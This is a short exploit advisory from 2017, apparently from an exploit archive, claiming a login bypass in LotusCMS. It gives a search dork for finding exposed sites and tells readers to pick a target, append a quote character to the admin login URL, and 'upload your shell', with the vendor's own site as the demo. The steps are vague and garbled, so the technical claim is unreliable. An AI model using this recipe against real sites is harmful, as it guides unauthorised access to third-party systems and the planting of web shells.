LotusCMS Bypass Login Vulnerability

|=============================================
|
|-------------------In The Name Of God------------------------|
|
| Exploit Title : LotusCMS Bypass Login Vulnerability
|
| Exploit Author : Ashiyane Digital Security Team
|
| Google Dork : intext:Proudly Powered by: LotusCMS
| Tested on : Kali linux
|
| Date : 2/17/2017
|
| Vendor HomePage : http://www.lotuscms.org
|
|======================================|
|
| Tutorial :
|
| Search The Dork Or Go To Vendor HomePage And Select Your Target
| Then Go To Admin Panel At : /index.php?system=Admin&page=loginSubmit
| Paste The Target With ' Character : Target'
| At Last Change Url To : site/admin/index.php?system=Admin&page=loginSubmit
| Upload Your Shell And Enjoy !
| Demo:
| http://www.lotuscms.org/index.php?system=Admin&page=loginSubmit'
|====================================================|
Discovered By : Terminator Special Tnx 2 : My PC
|====================================================